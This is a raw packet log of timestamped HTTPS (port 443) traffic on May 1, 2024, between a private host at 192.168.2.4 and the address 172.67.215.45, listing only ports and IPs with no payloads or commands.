May 1, 2024 08:37:52.170811892 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.170842886 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.170867920 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.170874119 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.170898914 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.171778917 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.171817064 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.171822071 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.172285080 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.172633886 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.172676086 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.172700882 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.172704935 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.172727108 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.172744989 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.173640013 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.173701048 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.174725056 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.174755096 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.174797058 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.174799919 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.174813986 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.174833059 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.176642895 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.176662922 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.176732063 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.176738977 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.176783085 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.178505898 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.178525925 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.178575993 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.178581953 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.178612947 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.180671930 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.180691957 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.180749893 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.180754900 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.180789948 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.182693958 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.182717085 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.182759047 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.182764053 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.182800055 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.184614897 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.184638023 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.184670925 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.184675932 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.184703112 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.184717894 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.186506033 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.186527967 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.186572075 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.186578035 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.186604977 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.186618090 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.189333916 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.189353943 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.189392090 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.189399958 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.189436913 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.235662937 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.235694885 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.236042976 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.236062050 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.236104965 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.236104965 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.236126900 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.236609936 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.236767054 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.237828970 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.237852097 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.237904072 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.237910032 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.237952948 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.237952948 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.239677906 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.239692926 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.239773035 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.239773035 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.239779949 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.239996910 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.241559982 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.241575003 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.241641045 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.241647959 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.242149115 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.243428946 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.243443966 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.243501902 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.243508101 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.243552923 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.243554115 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.244615078 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.244631052 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.246153116 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.246160984 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.246460915 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.246479034 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.246489048 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.246495962 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.246551991 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.246551991 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.248362064 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.248375893 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.248459101 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.248466015 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.248511076 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.248511076 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.250159979 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.250175953 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.250236988 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.250242949 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.250292063 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.250292063 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.251460075 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.251476049 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.253268957 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.253309965 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.253343105 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.253343105 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.253351927 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.254148006 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.255153894 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.255167961 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.255254984 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.255254984 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.255263090 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.257091045 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.257116079 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.257193089 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.257193089 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.257199049 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.257591963 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.257618904 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.257659912 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.257674932 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.257704020 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.257714033 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.258780956 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.258797884 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.258858919 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.258866072 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.258874893 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.258889914 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.258908033 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.258914948 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.258933067 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.260750055 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.260760069 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.260770082 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.260786057 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.260829926 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.260837078 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.260862112 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.260862112 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.260869026 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.260899067 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.261902094 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.261918068 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.261953115 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.261953115 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.261959076 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.262156963 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.263334990 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.263354063 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.263420105 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.263427019 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.263499022 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.263721943 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.263745070 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.263776064 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.263780117 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.265347958 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.265368938 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.265418053 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.265424013 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.265628099 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.265645981 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.265680075 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.265724897 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.265724897 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.265724897 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.265732050 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.266721964 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.266740084 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.266783953 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.266788960 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.266803980 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.266839981 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.267422915 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.267446041 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.267476082 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.267479897 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.268224001 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.268738031 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.268758059 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.268815994 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.268820047 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.269490957 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.269509077 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.269550085 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.269556046 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.269577980 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.269596100 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.270670891 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.270695925 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.270726919 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.270726919 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.270735025 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.271416903 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.271435976 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.271476030 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.271481037 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.271493912 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.271511078 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.272430897 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.272452116 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.272552013 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.272552013 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.272562981 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.273412943 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.273436069 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.273489952 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.273494959 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.273524046 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.273535013 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.274756908 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.274776936 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.274806976 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.274811029 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.274835110 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.274849892 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.275031090 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.275058031 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.275118113 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.275118113 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.275125027 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.276036024 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.276051998 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.276091099 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.276096106 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.277375937 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.277401924 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.277435064 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.277435064 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.277443886 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.277555943 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.277573109 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.277612925 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.277621984 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.277637959 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.277661085 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.278156996 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.279309034 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.279329062 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.279406071 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.279424906 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.279438972 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.279444933 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.279459953 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.279464960 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.279489040 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.279503107 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.281369925 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.281390905 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.281434059 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.281443119 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.281467915 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.281482935 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.283226967 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.283246040 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.283304930 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.283312082 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.283395052 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.285634995 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.285655975 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.285711050 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.285720110 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.286183119 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.287509918 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.287530899 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.287592888 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.287599087 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.287923098 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.289357901 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.289377928 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.289417028 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.289424896 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.289447069 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.289459944 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.291290998 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.291311979 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.291379929 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.291388035 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.291493893 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.293203115 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.293222904 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.293277025 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.293284893 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.294178963 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.295464993 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.295490980 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.295546055 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.295551062 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.295581102 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.295592070 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.297365904 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.297388077 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.297444105 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.297450066 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.298181057 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.299253941 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.299273014 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.299345970 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.299352884 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.299443007 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.301173925 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.301193953 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.301256895 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.301264048 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.302177906 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.302864075 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.302891970 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.302944899 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.302961111 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.303028107 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.303064108 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.303091049 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.303095102 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.303116083 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.303137064 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.305382967 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.305403948 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.305474043 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.305481911 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.306155920 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.306183100 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.307235956 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.307275057 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.307315111 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.307318926 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.307338953 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.331398964 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.331423998 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.331501961 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.331515074 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.332449913 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.332470894 CEST	443	49751	172.67.215.45	192.168.2.4
